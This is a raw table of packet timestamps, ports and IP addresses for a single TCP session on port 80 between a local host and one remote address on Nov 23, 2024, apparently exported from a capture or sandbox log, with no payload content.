Nov 23, 2024 17:44:48.967780113 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.968504906 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.968563080 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.978250027 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.978378057 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.978435040 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.978728056 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.978774071 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.978857040 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.979284048 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.979696989 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.979743004 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.979856014 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.979903936 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.980724096 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.980768919 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.980838060 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.980878115 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.981676102 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.981787920 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.981837034 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.982685089 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.982731104 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.982837915 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.983280897 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.983665943 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.983716011 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.983776093 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.983824015 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.984652996 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.984749079 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.984798908 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.985625029 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.985671043 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.985735893 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.986402035 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.986571074 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.986625910 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.986723900 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.986756086 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.987617970 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.987665892 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.987709045 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.987751961 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.988610983 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.988662004 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.988735914 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.988774061 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.989681005 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.989733934 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.989782095 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.990571022 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.990623951 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.990678072 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.991287947 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.991580009 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.991695881 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.991739988 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.992566109 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.992656946 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.992716074 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.992762089 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.993551016 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.993653059 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.993700027 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.994519949 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.994642973 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.994688988 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.995575905 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.995759010 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.995800018 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.996489048 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.996532917 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.996588945 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.996678114 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.997509956 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.997570992 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.997580051 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.997618914 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.998498917 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.998553038 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.998589993 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.998631001 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:48.999521017 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.999536991 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:48.999579906 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.000437021 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.000540972 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.000590086 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.001444101 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.001497984 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.001545906 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.002414942 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.002461910 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.002530098 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.003279924 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.003408909 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.003519058 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.003565073 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.004399061 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.004492044 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.004534960 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.005374908 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.005430937 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.005480051 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.006378889 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.006426096 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.006511927 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.007277012 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.007380962 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.007509947 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.007554054 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.008352995 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.008476973 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.008521080 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.009449005 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.009493113 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.009551048 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.010344028 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.010390043 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.010457993 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.011276007 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.011331081 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.011437893 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.011481047 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.012329102 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.012365103 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.012413979 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.013293028 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.013338089 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.013392925 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.014273882 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.014319897 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.014319897 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.015275955 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.015278101 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.015471935 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.015526056 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.016274929 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.016393900 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.016442060 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.017240047 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.017354012 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.017405987 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.018245935 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.018348932 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.018398046 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.019269943 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.019458055 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.019505978 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.020181894 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.020294905 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.020339012 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.021168947 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.021209955 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.021303892 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.022159100 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.022244930 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.022280931 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.022325039 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.023173094 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.023276091 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.023320913 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.023356915 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.024142027 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.024183989 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.024344921 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.024390936 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.025125980 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.025190115 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.025336981 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.025376081 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.026123047 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.026184082 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.026206970 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.026242018 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.183125019 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.183202982 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.183229923 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.183332920 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.183608055 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.183672905 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.183734894 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.183779955 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.184565067 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.184611082 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.184868097 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.184912920 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.185494900 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.185554028 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.192436934 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.192507982 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.192579985 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.192632914 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.192934990 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.192987919 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.193651915 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.193711042 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.193830967 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.194665909 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.194720030 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.194771051 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.195287943 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.195691109 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.195776939 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.195847988 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.196646929 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.196819067 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.196872950 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.197751999 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.197805882 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.197937012 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.198610067 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.198661089 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.198795080 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.199274063 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.199587107 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.199732065 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.199770927 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.200757980 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.200897932 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.200948000 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.201668024 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.201718092 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.201764107 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.202613115 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.202662945 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.202697039 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.203282118 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.203587055 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.203716993 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.203767061 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.204514980 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.204655886 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.204706907 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.205490112 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.205538988 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.205626965 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.206527948 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.206589937 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.206899881 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.207283974 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.207475901 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.207583904 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.207642078 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.208460093 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.208515882 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.208575010 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.209466934 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.209525108 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.209573984 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.210433960 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.210495949 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.210573912 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.210624933 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.211457014 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.211565971 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.211621046 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.212433100 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.212503910 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.212557077 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.213409901 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.213512897 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.213565111 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.214390039 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.214443922 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.214528084 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.215292931 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.215396881 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.215440989 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.215533018 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.215570927 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.216356993 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.216402054 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.216500998 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.216542959 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.217346907 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.217392921 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.217478037 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.217515945 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.218332052 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.218378067 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.218456984 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.218496084 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.219350100 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.219439030 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.219482899 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.220319033 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.220483065 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.220544100 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.221301079 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.221353054 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.221470118 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.222312927 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.222393036 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.222413063 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.223280907 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.223303080 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.223516941 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.223570108 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.224255085 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.224370956 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.224433899 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.225244045 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.225296974 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.225346088 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.226231098 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.226289988 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.226324081 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.227277994 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.227303028 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.227613926 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.227664948 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.228514910 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.228651047 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.228703976 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.229259968 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.229365110 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.229424000 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.230182886 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.230256081 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.230308056 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.231272936 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.231309891 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.231390953 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.231415033 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.231452942 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.232271910 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.232319117 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.232335091 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.232374907 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.233146906 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.233191967 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.233278036 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.233319044 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.234124899 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.234261036 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.234319925 CET	49756	80	192.168.2.4	185.215.113.16
Nov 23, 2024 17:44:49.235124111 CET	80	49756	185.215.113.16	192.168.2.4
Nov 23, 2024 17:44:49.235229969 CET	80	49756	185.215.113.16	192.168.2.4
